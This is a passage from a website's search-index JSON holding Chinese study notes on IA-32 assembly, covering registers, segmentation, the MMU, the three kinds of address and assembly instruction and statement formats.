<p>\u5728\u987a\u5e8f\u6267\u884c\u65f6\u4f1a\u81ea\u52a8\u589e\u91cf\uff0c\u6307\u5411\u4e0b\u4e00\u6761\u6307\u4ee4</p> </li> <li> <p>\u5206\u652f\uff0c\u8c03\u7528\u7b49\u64cd\u4f5c\u65f6\u6267\u884c\u63a7\u5236\u8f6c\u79fb\u6307\u4ee4\u4fee\u6539\uff0c\u5f15\u8d77\u7a0b\u5e8f\u5230\u6307\u5b9a\u7684\u6307\u4ee4\u6267\u884c</p> </li> <li> <p>\u5728\u51fa\u73b0\u4e2d\u65ad\u6216\u8005\u5f02\u5e38\u65f6\u88ab\u5904\u7406\u5668\u8d4b\u503c\u800c\u76f8\u5e94\u6539\u53d8</p> </li> </ul>"},{"location":"NOTE/CS/ASM/wk1/#_4","title":"\u6bb5\u5bc4\u5b58\u5668","text":"<p>\u5b58\u50a8\u7a7a\u95f4\u5206\u6bb5\u7ba1\u7406</p> <p>\u201c\u6bb5\u201d\u662f\u4fdd\u5b58\u76f8\u5173\u4ee3\u7801\u6216\u8005\u6570\u636e\u7684\u4e00\u4e2a\u4e3b\u5b58\u533a\u57df</p> <p>\u5e94\u7528\u7a0b\u5e8f\u4e3b\u8981\u6d89\u53ca\u4e09\u7c7b\u57fa\u672c\u6bb5</p> <ul> <li> <p>\u4ee3\u7801\u6bb5\uff08Code Segment\uff09    \u5b58\u653e\u7a0b\u5e8f\u7684\u53ef\u6267\u884c\u4ee3\u7801\uff08\u5904\u7406\u5668\u6307\u4ee4\uff09</p> </li> <li> <p>\u6570\u636e\u6bb5\uff08Data Segment\uff09    \u5b58\u653e\u5168\u5c40\u53d8\u91cf\u7b49\u7a0b\u5e8f\u6240\u7528\u7684\u6570\u636e</p> </li> <li> <p>\u5806\u6808\u6bb5\uff08Stack Segment\uff09    \u8fd9\u662f\u7a0b\u5e8f\u6240\u9700\u8981\u7684\u7279\u6b8a\u533a\u57df\uff0c\u7528\u4e8e\u5b58\u653e\u8fd4\u56de\u5730\u5740\uff0c\u4e34\u65f6\u53d8\u91cf\u7b49 </p> </li> </ul> <p>\u6bb5\u5bc4\u5b58\u5668\u8868\u660e\u67d0\u4e2a\u6bb5\u5728\u4e3b\u5b58\u4e2d\u7684\u4f4d\u7f6e</p> <p>\u6839\u636e\u5404\u4e2a\u6bb5\u7684\u9996\u5b57\u6bcd\u7f29\u5199\u6765\u7ed9\u76f8\u5e94\u7684\u5bc4\u5b58\u5668\u547d\u540d\uff0c\u5171\u67096\u4e2a16\u4f4d\u5bc4\u5b58\u5668</p> \u4ee3\u7801\u6bb5 CS \u5806\u6808\u6bb5 SS \u6570\u636e\u6bb5 DS\uff0cES\uff08Extra segment\uff09\uff0cFS\uff0cDS <p>\u4ee3\u7801\u6bb5\u7684\u5f53\u524d\u6307\u4ee4\u5730\u5740</p> <ul> <li>\u6bb5\u57fa\u5730\u5740\uff1a\u7531\u4ee3\u7801\u6bb5\u5bc4\u5b58\u5668CS\u4fdd\u5b58</li> <li>\u504f\u79fb\u5730\u5740\uff1a\u7531\u6307\u4ee4\u6307\u9488\u5bc4\u5b58\u5668EIP\u4fdd\u5b58</li> </ul> <p>\u5806\u6808\u6bb5\u7684\u5f53\u524d\u6808\u9876\u5730\u5740</p> <ul> <li>\u6bb5\u57fa\u5730\u5740\uff1a\u5806\u6808\u6bb5\u5bc4\u5b58\u5668SS\u4fdd\u5b58</li> <li>\u5806\u6808\u6307\u9488\u5bc4\u5b58\u5668ESP\u4fdd\u5b58   </li> </ul> <p>\u6570\u636e\u6bb5\u7684\u64cd\u4f5c\u6570\u5730\u5740</p> <ul> <li>\u6bb5\u57fa\u5730\u5740\uff1a\u6570\u636e\u6bb5\u5bc4\u5b58\u5668DS\u6307\u793a\uff0c\u6709\u65f6\u5019\u4e5f\u7528ES\uff0cFS\uff0cGS\u6307\u793a</li> <li>\u504f\u79fb\u5730\u5740\uff1a\u6ca1\u6709\u4e13\u95e8\u7684\u5bc4\u5b58\u5668\uff0c\u7531\u5b58\u50a8\u5668\u5bfb\u5740\u65b9\u5f0f\u8ba1\u7b97\u51fa\u7684\u6709\u6548\u5730\u5740EA\u6307\u793a</li> </ul> <p>\u7f16\u7a0b\u91c7\u7528\u7684\u903b\u8f91\u5730\u5740\u4e3a  \u6bb5\u57fa\u5730\u5740:\u504f\u79fb\u5730\u5740 \u7684\u7ec4\u5408</p> <ul> <li>\u6bb5\u57fa\u5730\u5740\uff1a\u5728\u4e3b\u5b58\u4e2d\u7684\u8d77\u59cb\u5730\u5740</li> <li>\u504f\u79fb\u5730\u5740\uff1a\u8ddd\u79bb\u6bb5\u57fa\u5730\u5740\u7684\u4fbf\u5b9c\u91cf</li> </ul> Info <p> </p> <p>\u603b\u7ed3</p> <p>\u5bc4\u5b58\u5668\u5206\u4e3a\u4e0d\u53ef\u7f16\u7a0b\u7684 \u900f\u660e\u5bc4\u5b58\u5668 \u548c \u53ef\u7f16\u7a0b\u5bc4\u5b58\u5668 \uff0c\u53ef\u7f16\u7a0b\u5bc4\u5b58\u5668\u53c8\u53ef\u4ee5\u8fdb\u884c\u5206\u7c7b</p> \u5206\u7c7b \u7c7b\u578b \u5bc4\u5b58\u5668 \u901a\u7528\u5bc4\u5b58\u5668 32\u4f4d\u901a\u7528\u5bc4\u5b58\u5668 EAX EBX ECX EDX ESI EDI EBP ESP 16\u4f4d\u901a\u7528\u5bc4\u5b58\u5668 AX  BX  CX  DX  SI  DI  BP  SP 8\u4f4d\u901a\u7528\u5bc4\u5b58\u5668 AH  AL  BH  BL  CH  CL  DH  DL \u4e13\u7528\u5bc4\u5b58\u5668 \u6807\u5fd7\u5bc4\u5b58\u5668 EFLAGS \u6307\u4ee4\u6307\u9488\u5bc4\u5b58\u5668 EIP \u6bb5\u5bc4\u5b58\u5668 CS  DS  SS  ES  FS  GS"},{"location":"NOTE/CS/ASM/wk1/#_5","title":"\u5b58\u50a8\u5668\u7ec4\u7ec7","text":"<p>\u8ba1\u7b97\u673a\u786c\u4ef6\u7ec4\u6210\u7ed3\u6784\u4e2d\u7684\u4e3b\u5b58\u50a8\u5668\u5bb9\u91cf\u5f88\u5927\uff0c\u88ab\u5212\u5206\u4e3a\u8bb8\u591a\u5b58\u50a8\u5355\u5143\uff0c\u6bcf\u4e2a\u5b58\u50a8\u5355\u5143\u88ab\u7f16\u6392\u4e00\u4e2a\u53f7\u7801\uff0c\u5373\u5b58\u50a8\u5355\u5143\u5730\u5740\uff0c\u79f0\u4e3a \u5b58\u50a8\u5668\u5730\u5740\uff08Memory Address\uff09</p> <p>\u6bcf\u4e2a\u5b58\u50a8\u5355\u5143\u4ee5\u5b57\u8282\u4e3a\u57fa\u672c\u5b58\u50a8\u5355\u4f4d</p> <ul> <li>\u5373\u5b57\u8282\u7f16\u5740\uff08Byte Addressable\uff09</li> <li>\u4e00\u4e2a\u5b57\u8282\uff08Byte\uff09\u7b49\u4e8e8\u4e2a\u4e8c\u8fdb\u5236\u4f4d\uff08Bit\uff09,\u4e24\u4e2a\u5b57\u8282\u79f0\u4e3a\u5b57\uff0c\u4e24\u4e2a\u5b57\u79f0\u4e3a\u53cc\u5b57</li> <li>IA-32\u670932\u4f4d\u5730\u5740\uff0c\u53ef\u4ee5\u8bbf\u95ee 4GB \u5185\u5b58</li> </ul>"},{"location":"NOTE/CS/ASM/wk1/#_6","title":"\u5b58\u50a8\u5668\u7684\u7269\u7406\u5730\u5740","text":"<p>\u5904\u7406\u5668\u8fde\u63a5\u7684\u7269\u7406\u5b58\u50a8\u5668\u4f7f\u7528\u7269\u7406\u5730\u5740</p> <ul> <li>\u4ece0\u5f00\u59cb\u987a\u5e8f\u7f16\u6392\uff0c\u76f4\u5230\u5176\u652f\u6301\u7684\u6700\u5927\u5b58\u50a8\u5355\u5143</li> </ul> <p></p>"},{"location":"NOTE/CS/ASM/wk1/#_7","title":"\u5b58\u50a8\u7ba1\u7406\u5355\u5143\u548c\u5b58\u50a8\u6a21\u578b","text":"<p>\u9ad8\u6027\u80fd\u5904\u7406\u5668\u96c6\u6210\u6709\u5b58\u50a8\u7ba1\u7406\u5355\u5143MMU\uff0c\u5229\u7528\u5b83\u8fdb\u884c\u4e3b\u5b58\u50a8\u5668\u7a7a\u95f4\u7ba1\u7406</p> <p>\u5b58\u50a8\u7ba1\u7406\u5355\u5143\uff08Memory Management Unit, MMU\uff09\u662f\u8ba1\u7b97\u673a\u7cfb\u7edf\u4e2d\u7684\u4e00\u4e2a\u786c\u4ef6\u7ec4\u4ef6\uff0c\u8d1f\u8d23\u7ba1\u7406\u8ba1\u7b97\u673a\u7684\u5185\u5b58\u4f7f\u7528\u60c5\u51b5\u3002\u5b83\u5728CPU\u4e0e\u7269\u7406\u5185\u5b58\uff08RAM\uff09\u4e4b\u95f4\u8d77\u5230\u6865\u6881\u4f5c\u7528\uff0c\u4e3b\u8981\u804c\u8d23\u6709\uff1a</p> <ul> <li> <p>\u5730\u5740\u8f6c\u6362\uff08\u865a\u62df\u5185\u5b58\u5230\u7269\u7406\u5185\u5b58\u6620\u5c04\uff09 \u7a0b\u5e8f\u5e76\u4e0d\u76f4\u63a5\u5bfb\u5740\u7269\u7406\u5b58\u50a8\u5668  MMU\u5c06\u7a0b\u5e8f\u4f7f\u7528\u7684\u865a\u62df\u5730\u5740\uff08\u903b\u8f91\u5730\u5740\uff09\u8f6c\u6362\u4e3a\u7269\u7406\u5730\u5740\u3002\u8fd9\u79cd\u5730\u5740\u8f6c\u6362\u901a\u5e38\u662f\u901a\u8fc7\u5206\u9875\uff08paging\uff09\u6216\u5206\u6bb5\uff08segmentation\uff09\u673a\u5236\u6765\u5b9e\u73b0\u7684\u3002\u6bcf\u4e2a\u8fdb\u7a0b\u5728\u81ea\u5df1\u7684\u865a\u62df\u5730\u5740\u7a7a\u95f4\u4e2d\u8fd0\u884c\uff0c\u8fd9\u6837\u53ef\u4ee5\u4f7f\u591a\u4e2a\u8fdb\u7a0b\u5171\u5b58\u4e8e\u7cfb\u7edf\u5185\u5b58\u4e2d\u800c\u4e92\u4e0d\u5e72\u6270\u3002</p> </li> <li> <p>\u5185\u5b58\u4fdd\u62a4 MMU\u53ef\u4ee5\u8bbe\u7f6e\u4e0d\u540c\u7684\u6743\u9650\uff08\u5982\u8bfb\u3001\u5199\u3001\u6267\u884c\uff09\u6765\u4fdd\u62a4\u5185\u5b58\u533a\u57df\uff0c\u9632\u6b62\u4e00\u4e2a\u8fdb\u7a0b\u8bbf\u95ee\u53e6\u4e00\u4e2a\u8fdb\u7a0b\u7684\u5185\u5b58\u6216\u64cd\u4f5c\u7cfb\u7edf\u5185\u5b58\uff0c\u4fdd\u969c\u7cfb\u7edf\u7684\u5b89\u5168\u6027\u548c\u7a33\u5b9a\u6027\u3002</p> </li> <li> <p>\u5185\u5b58\u5206\u914d\u4e0e\u56de\u6536 MMU\u534f\u52a9\u64cd\u4f5c\u7cfb\u7edf\u5728\u7a0b\u5e8f\u8fd0\u884c\u65f6\u5206\u914d\u548c\u91ca\u653e\u5185\u5b58\u3002\u5b83\u5e2e\u52a9\u7ba1\u7406\u7269\u7406\u5185\u5b58\u7684\u5206\u914d\uff0c\u4ee5\u786e\u4fdd\u5185\u5b58\u9ad8\u6548\u5229\u7528\u5e76\u51cf\u5c11\u788e\u7247\u5316\u3002</p> </li> <li> <p>\u5206\u9875\u7ba1\u7406 MMU\u901a\u8fc7\u5206\u9875\u673a\u5236\uff0c\u5c06\u7a0b\u5e8f\u7684\u865a\u62df\u5185\u5b58\u5212\u5206\u4e3a\u56fa\u5b9a\u5927\u5c0f\u7684\u5757\uff08\u79f0\u4e3a\u9875\u9762\uff09\uff0c\u5e76\u5c06\u8fd9\u4e9b\u9875\u9762\u6620\u5c04\u5230\u7269\u7406\u5185\u5b58\u7684\u5b9e\u9645\u4f4d\u7f6e\u3002\u8fd9\u6837\u53ef\u4ee5\u6709\u6548\u5730\u7ba1\u7406\u5185\u5b58\uff0c\u5e76\u652f\u6301\u865a\u62df\u5185\u5b58\u6280\u672f\uff0c\u4f7f\u7a0b\u5e8f\u80fd\u591f\u4f7f\u7528\u8d85\u8fc7\u7269\u7406\u5185\u5b58\u5927\u5c0f\u7684\u5185\u5b58\u7a7a\u95f4\u3002</p> </li> <li> <p>\u7f13\u5b58\u7ba1\u7406 \u5728\u4e00\u4e9b\u9ad8\u7ea7\u7cfb\u7edf\u4e2d\uff0cMMU\u4e5f\u53c2\u4e0e\u7ba1\u7406CPU\u7f13\u5b58\uff08\u5982L1\u3001L2\u7f13\u5b58\uff09\u4e0e\u5185\u5b58\u4e4b\u95f4\u7684\u6570\u636e\u4ea4\u6362\u3002\u5b83\u786e\u5b9a\u54ea\u4e9b\u6570\u636e\u5e94\u8be5\u7559\u5728\u7f13\u5b58\u4e2d\u4ee5\u63d0\u9ad8\u8bbf\u95ee\u901f\u5ea6\u3002</p> </li> <li> <p>\u5f02\u5e38\u5904\u7406 \u5f53\u7a0b\u5e8f\u8bd5\u56fe\u8bbf\u95ee\u65e0\u6548\u7684\u5730\u5740\uff08\u5982\u6ca1\u6709\u6620\u5c04\u5230\u7269\u7406\u5185\u5b58\u7684\u865a\u62df\u5730\u5740\uff09\u65f6\uff0cMMU\u4f1a\u4ea7\u751f\u4e00\u4e2a\u5f02\u5e38\uff08\u901a\u5e38\u79f0\u4e3a\u9875\u9762\u9519\u8bef\u6216\u7f3a\u9875\u4e2d\u65ad\uff09\uff0c\u901a\u77e5\u64cd\u4f5c\u7cfb\u7edf\u5904\u7406\u8fd9\u4e2a\u60c5\u51b5\uff0c\u5982\u5206\u914d\u65b0\u7684\u5185\u5b58\u9875\u6216\u4ece\u78c1\u76d8\u52a0\u8f7d\u9700\u8981\u7684\u6570\u636e\u3002</p> </li> </ul> <p>IA-32 \u5904\u7406\u5668\u7684\u5b58\u50a8\u6a21\u578b</p> <ul> <li>\u5e73\u5c55\u5b58\u50a8\u6a21\u578b\uff08Flat Memory Model\uff09\uff1a\u5b58\u50a8\u5668\u662f\u4e00\u4e2a\u8fde\u7eed\u76844GB\u7ebf\u6027\u5730\u5740\u7a7a\u95f4</li> <li>\u6bb5\u5f0f\u5b58\u50a8\u6a21\u578b\uff08Segmented Memory Model\uff09<ul> <li>\u5b58\u50a8\u5668\u7531\u4e00\u7ec4\u72ec\u7acb\u7684\u5730\u5740\u7a7a\u95f4\u7ec4\u6210\uff1a\u6bb5\uff08Segment\uff09</li> <li>\u6bcf\u4e2a\u6bb5\u90fd\u53ef\u4ee5\u8fbe\u52304GB</li> </ul> </li> <li>\u5b9e\u5730\u5740\u5b58\u50a8\u6a21\u578b\uff08Real-address Memory Model\uff09<ul> <li>8086\u5904\u7406\u5668\u7684\u5b58\u50a8\u6a21\u578b\uff08\u6700\u59271MB\uff09</li> <li>\u6bb5\u5f0f\u5b58\u50a8\u6a21\u578b\u7684\u7279\u4f8b\uff08\u6bb5\u6700\u592764KB\uff09</li> </ul> </li> </ul> <p>Example</p> <p>\u5b58\u50a8\u5668\u7a7a\u95f4\u53ef\u4ee5\u5206\u6bb5\u7ba1\u7406\uff0c\u91c7\u7528\u903b\u8f91\u5730\u5740\u6307\u793a</p> <p>\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6709\u4e00\u5e62\u697c\uff0c3\u5c42\uff0c\u6bcf\u4e00\u5c42\u670910\u4e2a\u623f\u95f4\uff0c\u9996\u5148\u6211\u4eec\u4ece\u7b2c\u4e00\u5c4201\u5f00\u59cb\u7f16\u53f7\u5230\u6700\u540e\u4e00\u4e2a\u623f\u95f430</p> <p>\u5bf9\u4e8e\u7b2c\u4e8c\u5c42\u7b2c\u4e94\u4e2a\u623f\u95f4\uff0c\u7269\u7406\u5730\u5740\u662f\u7edd\u5bf9\u5730\u5740:15\uff0c\u4f46\u662f\u4e3a\u4e86\u65b9\u4fbf\uff0c\u5b83\u88ab\u79f0\u4e3a205\uff0c\u8fd9\u5c31\u662f\u5b83\u7684\u903b\u8f91\u5730\u5740\uff08\u76f8\u5bf9\u5730\u5740\uff09</p> <p>\u4e09\u5927\u5730\u5740\u7684\u5173\u7cfb</p> <p>\u7a0b\u5e8f\u5458\u7f16\u7a0b\u65f6\u91c7\u7528\u903b\u8f91\u5730\u5740\uff0c\u64cd\u4f5c\u7cfb\u7edf\u5229\u7528\u5b58\u50a8\u7ba1\u7406\u5355\u5143MMU\u5c06\u903b\u8f91\u5730\u5740\u6620\u5c04\u6210\u7ebf\u6027\u5730\u5740\uff08\u865a\u62df\u5730\u5740\uff09\uff0c\u5904\u7406\u5668\u4f7f\u7528\u7269\u7406\u5730\u5740\u8bbf\u95ee\u4e3b\u5b58\u50a8\u5668\u82af\u7247</p> <p>\u903b\u8f91\u5730\u5740\uff08Logical Address\uff09</p> <ul> <li>\u5b9a\u4e49: \u903b\u8f91\u5730\u5740\u662f\u7a0b\u5e8f\u5458\u5728\u7f16\u5199\u7a0b\u5e8f\u65f6\u4f7f\u7528\u7684\u5730\u5740\uff0c\u7531CPU\u5728\u6267\u884c\u7a0b\u5e8f\u65f6\u751f\u6210\u3002</li> <li>\u7279\u70b9: \u903b\u8f91\u5730\u5740\u662f\u76f8\u5bf9\u4e8e\u7a0b\u5e8f\u7684\u8d77\u59cb\u5730\u5740\u7684\u504f\u79fb\u91cf\uff0c\u4e0e\u5b9e\u9645\u7684\u7269\u7406\u5185\u5b58\u4f4d\u7f6e\u65e0\u5173\u3002</li> <li>\u522b\u540d: \u903b\u8f91\u5730\u5740\u4e5f\u88ab\u79f0\u4e3a \u865a\u62df\u5730\u5740\uff08Virtual Address\uff09 \u3002\u5728\u6bcf\u4e2a\u8fdb\u7a0b\u7684\u4e0a\u4e0b\u6587\u4e2d\uff0c\u903b\u8f91\u5730\u5740\u662f\u552f\u4e00\u7684\u3002</li> <li>\u4f7f\u7528: \u903b\u8f91\u5730\u5740\u662f\u5728\u7a0b\u5e8f\u4ee3\u7801\u4e2d\u4f7f\u7528\u7684\uff0c\u6bd4\u5982\u6307\u9488\u6216\u6570\u7ec4\u7d22\u5f15\u3002\u5b83\u4eec\u662f\u7531\u7f16\u8bd1\u5668\u751f\u6210\u7684\uff0c\u5e76\u4e14\u4e0d\u4f1a\u76f4\u63a5\u5bf9\u5e94\u5230\u7269\u7406\u5185\u5b58\u7684\u5177\u4f53\u4f4d\u7f6e\u3002</li> </ul> <p>\u7ebf\u6027\u5730\u5740\uff08Linear Address\uff09</p> <ul> <li>\u5b9a\u4e49: \u7ebf\u6027\u5730\u5740\u662f\u5c06\u903b\u8f91\u5730\u5740\u8f6c\u6362\u6210\u7269\u7406\u5730\u5740\u4e4b\u524d\u7684\u4e00\u4e2a\u4e2d\u95f4\u5730\u5740\u3002\u5b83\u662f\u7ecf\u8fc7\u5206\u6bb5\uff08segmentation\uff09\u8ba1\u7b97\u540e\u7684\u5730\u5740\u3002</li> <li>\u7279\u70b9: \u7ebf\u6027\u5730\u5740\u662f\u901a\u8fc7\u628a\u903b\u8f91\u5730\u5740\u548c\u6bb5\u5bc4\u5b58\u5668\uff08\u5982CS\u3001DS\u7b49\uff09\u4e2d\u7684\u6bb5\u57fa\u5740\u76f8\u52a0\u5f97\u5230\u7684\u3002  </li> <li>\u4f7f\u7528: \u5728\u6709\u4e9b\u4f53\u7cfb\u7ed3\u6784\u4e2d\uff0c\u7ebf\u6027\u5730\u5740\u53ef\u80fd\u76f4\u63a5\u7b49\u4e8e\u7269\u7406\u5730\u5740\uff08\u5982\u65e0\u5206\u9875\u673a\u5236\u7684\u60c5\u51b5\u4e0b\uff09\uff0c\u4f46\u662f\u5728\u5927\u591a\u6570\u73b0\u4ee3\u5904\u7406\u5668\u4e2d\uff0c\u7ebf\u6027\u5730\u5740\u901a\u8fc7\u5206\u9875\u673a\u5236\u8fdb\u4e00\u6b65\u8f6c\u6362\u4e3a\u7269\u7406\u5730\u5740\u3002</li> </ul> <p>\u7269\u7406\u5730\u5740\uff08Physical Address\uff09</p> <ul> <li>\u5b9a\u4e49: \u7269\u7406\u5730\u5740\u662f\u5185\u5b58\u5355\u5143\u5728\u8ba1\u7b97\u673a\u5b9e\u9645\u7269\u7406\u5185\u5b58\uff08RAM\uff09\u4e2d\u7684\u4f4d\u7f6e\u3002\u5b83\u662fCPU\u6700\u7ec8\u4f7f\u7528\u7684\u5b9e\u9645\u5730\u5740\u3002</li> <li>\u7279\u70b9: \u7269\u7406\u5730\u5740\u7531\u7ebf\u6027\u5730\u5740\u7ecf\u8fc7\u5206\u9875\uff08paging\uff09\u673a\u5236\u8f6c\u6362\u800c\u6765\uff0c\u662f\u6307\u5411\u5b9e\u9645\u5185\u5b58\u82af\u7247\u7684\u5730\u5740\u3002</li> <li> <p>\u4f7f\u7528: \u7269\u7406\u5730\u5740\u662f\u7531\u5185\u5b58\u63a7\u5236\u5668\u4f7f\u7528\u7684\uff0c\u7528\u4e8e\u8bbf\u95ee\u5b9e\u9645\u7684\u7269\u7406\u5185\u5b58\u4f4d\u7f6e\u3002</p> </li> <li> <p>\u903b\u8f91\u5730\u5740\u5230\u7ebf\u6027\u5730\u5740\u7684\u8f6c\u6362\uff08\u5206\u6bb5\uff09:</p> </li> <li> <p>\u903b\u8f91\u5730\u5740\u7531\u7a0b\u5e8f\u751f\u6210\uff0c\u5206\u4e3a\u6bb5\u9009\u62e9\u5668\u548c\u6bb5\u5185\u504f\u79fb\u91cf\u3002\u6bb5\u9009\u62e9\u5668\u6307\u5411\u5185\u5b58\u6bb5\u63cf\u8ff0\u7b26\uff08\u5b58\u50a8\u5728\u6bb5\u5bc4\u5b58\u5668\u4e2d\uff09\uff0c\u800c\u504f\u79fb\u91cf\u6307\u5411\u6bb5\u5185\u7684\u5177\u4f53\u4f4d\u7f6e\u3002</p> </li> <li>MMU\u4f7f\u7528\u6bb5\u9009\u62e9\u5668\u67e5\u627e\u6bb5\u57fa\u5740\uff0c\u7136\u540e\u5c06\u6bb5\u57fa\u5740\u4e0e\u504f\u79fb\u91cf\u76f8\u52a0\uff0c\u751f\u6210\u7ebf\u6027\u5730\u5740\u3002</li> <li>\u516c\u5f0f:  </li> </ul> <p>$$    \\text{\u7ebf\u6027\u5730\u5740} = \\text{\u6bb5\u57fa\u5740} + \\text{\u903b\u8f91\u5730\u5740\u4e2d\u7684\u504f\u79fb\u91cf}    $$</p> <ol> <li> <p>\u7ebf\u6027\u5730\u5740\u5230\u7269\u7406\u5730\u5740\u7684\u8f6c\u6362\uff08\u5206\u9875\uff09:</p> </li> <li> <p>\u7ebf\u6027\u5730\u5740\u8fdb\u4e00\u6b65\u901a\u8fc7\u5206\u9875\u673a\u5236\u8f6c\u6362\u4e3a\u7269\u7406\u5730\u5740\u3002\u5206\u9875\u673a\u5236\u5c06\u7ebf\u6027\u5730\u5740\u5212\u5206\u4e3a\u591a\u4e2a\u56fa\u5b9a\u5927\u5c0f\u7684\u9875\u9762\uff0c\u7ebf\u6027\u5730\u5740\u4e2d\u7684\u9875\u53f7\u90e8\u5206\u7528\u4e8e\u67e5\u627e\u9875\u8868\uff08Page Table\uff09\uff0c\u5f97\u5230\u7269\u7406\u9875\u5e27\u53f7\u3002</p> </li> <li>\u7ebf\u6027\u5730\u5740\u7684\u9875\u5185\u504f\u79fb\u91cf\u90e8\u5206\u4e0e\u7269\u7406\u9875\u5e27\u53f7\u7ec4\u5408\u5f62\u6210\u7269\u7406\u5730\u5740\u3002</li> <li>\u516c\u5f0f:</li> </ol> <p>$$    \\text{\u7269\u7406\u5730\u5740} = \\text{\u7269\u7406\u9875\u5e27\u53f7} + \\text{\u9875\u5185\u504f\u79fb\u91cf}$$</p> <ul> <li>\u903b\u8f91\u5730\u5740 \u662f\u7a0b\u5e8f\u5458\u6216\u7f16\u8bd1\u5668\u4f7f\u7528\u7684\u5730\u5740\uff0c\u63cf\u8ff0\u7684\u662f\u865a\u62df\u5185\u5b58\u4e2d\u7684\u4f4d\u7f6e\u3002</li> <li>\u7ebf\u6027\u5730\u5740 \u662f\u7ecf\u8fc7\u5206\u6bb5\u673a\u5236\u8f6c\u6362\u540e\u7684\u5730\u5740\uff0c\u662f\u903b\u8f91\u5730\u5740\u4e0e\u6bb5\u57fa\u5740\u4e4b\u548c\u3002</li> <li>\u7269\u7406\u5730\u5740 \u662f\u5b58\u50a8\u5668\u4e2d\u5b9e\u9645\u8bbf\u95ee\u7684\u4f4d\u7f6e\uff0c\u7531\u7ebf\u6027\u5730\u5740\u7ecf\u8fc7\u5206\u9875\u673a\u5236\u8f6c\u6362\u5f97\u5230\u3002</li> </ul>"},{"location":"NOTE/CS/ASM/wk1_2/","title":"\u6c47\u7f16\u7a0b\u5e8f\u683c\u5f0f","text":"<p> \u7ea6 3089 \u4e2a\u5b57  83 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 12 \u5206\u949f</p>"},{"location":"NOTE/CS/ASM/wk1_2/#_2","title":"\u5904\u7406\u5668\u6307\u4ee4\u683c\u5f0f","text":"<p>\u7a0b\u5e8f\u7531\u7a0b\u5e8f\u8bbe\u8ba1\u8bed\u8a00\u7f16\u5199\uff0c\u7531 \u6307\u4ee4 \u6784\u6210\uff0c\u6307\u4ee4 \u7531 \u64cd\u4f5c\u7801 \u548c \u64cd\u4f5c\u6570\uff08\u5730\u5740\u7801\uff09 \u6784\u6210\uff0c\u64cd\u4f5c\u7801\uff08Opcode\uff09 \u8868\u660e\u5904\u7406\u5668\u6267\u884c\u7684\u64cd\u4f5c\uff0c \u64cd\u4f5c\u6570\uff08Oprand\uff09 \u662f\u53c2\u4e0e\u64cd\u4f5c\u7684\u6570\u636e\u5bf9\u8c61</p> <p>\u6700\u57fa\u672c\u7684\u6570\u636e\u4f20\u9001\u6307\u4ee4--MOV(move)</p> <p>\u4f20\u9001\u6307\u4ee4\u7684\u52a9\u8bb0\u7b26\uff1a<code>MOV</code></p> <p>\u7c7b\u4f3c\u4e8e\u9ad8\u7ea7\u8bed\u8a00\u7684\u8d4b\u503c\u8bed\u53e5\uff0c\u5c06\u6570\u636e\u4ece\u4e00\u4e2a\u4f4d\u7f6e \u4f20\u9001 \u5230\u53e6\u4e00\u4e2a\u4f4d\u7f6e</p> <p>\u4f8b\u5982</p> <pre><code>mov dest,src  ;\u64cd\u4f5c\u7801\u4e3amov\uff0c\u64cd\u4f5c\u6570\u4e3adest src\n</code></pre> <p><code>src</code>\u4e3a\u6e90\u64cd\u4f5c\u6570\uff0c\u662f\u88ab\u4f20\u9001\u7684\u6570\u636e\u6216\u8005\u6570\u636e\u6240\u5728\u7684\u4f4d\u7f6e</p> <p><code>dest</code>\u4e3a\u76ee\u7684\u64cd\u4f5c\u6570\uff0c\u662f\u6570\u636e\u5c06\u8981\u4f20\u9001\u5230\u7684\u4f4d\u7f6e</p> <p>IA-32 \u5904\u7406\u5668\u91c7\u7528\u53ef\u53d8\u957f\u5ea6\u6307\u4ee4\u683c\u5f0f</p> <ul> <li> <p>\u64cd\u4f5c\u7801</p> <ul> <li>\u53ef\u9009\u7684\u6307\u4ee4\u524d\u7f00\uff08\u7528\u4e8e\u6269\u5c55\u6307\u4ee4\u529f\u80fd\uff0c\u4e00\u822c0\u81f34\u5b57\u8282</li> <li>1\u81f33\u5b57\u8282\u7684\u4e3b\u8981\u64cd\u4f5c\u7801</li> </ul> </li> <li> <p>\u64cd\u4f5c\u6570</p> <ul> <li>\u53ef\u9009\u7684\u5bfb\u5740\u65b9\u5f0f\u57df</li> <li>\u53ef\u9009\u7684\u4f4d\u79fb\u91cf</li> <li>\u53ef\u9009\u7684\u7acb\u5373\u6570</li> </ul> </li> </ul> Example <p></p> <p></p>"},{"location":"NOTE/CS/ASM/wk1_2/#_3","title":"\u6c47\u7f16\u8bed\u8a00\u8bed\u53e5\u683c\u5f0f","text":"<p>\u6e90\u7a0b\u5e8f\u7531\u8bed\u53e5\u7ec4\u6210\uff0c\u901a\u5e38\u4e00\u4e2a\u8bed\u53e5\u5360\u4e00\u884c\uff0c\u4e00\u4e2a\u8bed\u53e5\u4e0d\u8d85\u8fc7132\u4e2a\u5b57\u7b26\uff0c4\u4e2a\u90e8\u5206</p> <p>\u8bed\u53e5\u7684\u79cd\u7c7b</p> <p>\u6267\u884c\u6027\u8bed\u53e5 \uff1a\u8868\u8fbe\u5904\u7406\u5668\u6307\u4ee4\uff0c\u5b9e\u73b0\u529f\u80fd\uff0c\u683c\u5f0f\u4e3a</p> <p><code>\u6807\u53f7: \u786c\u6307\u4ee4\u52a9\u8bb0\u7b26 \u64cd\u4f5c\u6570,\u64cd\u4f5c\u6570 ;\u6ce8\u91ca</code></p> <p>\u8bf4\u660e\u6027\u8bed\u53e5 : \u8868\u8fbe\u4f2a\u6307\u4ee4\uff0c\u63a7\u5236\u6c47\u7f16\u65b9\u5f0f \u683c\u5f0f\u4e3a</p> <p><code>\u540d\u5b57 \u4f2a\u6307\u4ee4\u52a9\u8bb0\u7b26 \u53c2\u6570,\u53c2\u6570,... ;\u6ce8\u91ca</code></p> <p>\u5728\u6c47\u7f16\u8bed\u8a00\u4e2d\uff0c\u6807\u53f7\uff08Label\uff09\u548c \u540d\u5b57\uff08Name\uff09\u90fd\u662f\u7528\u4e8e\u6807\u8bc6\u7279\u5b9a\u5185\u5b58\u4f4d\u7f6e\u3001\u4ee3\u7801\u6bb5\u6216\u6570\u636e\u7684\u7b26\u53f7\u3002</p>"},{"location":"NOTE/CS/ASM/wk1_2/#1-label","title":"1. \u6807\u53f7\uff08Label\uff09","text":"<p>\u6807\u53f7 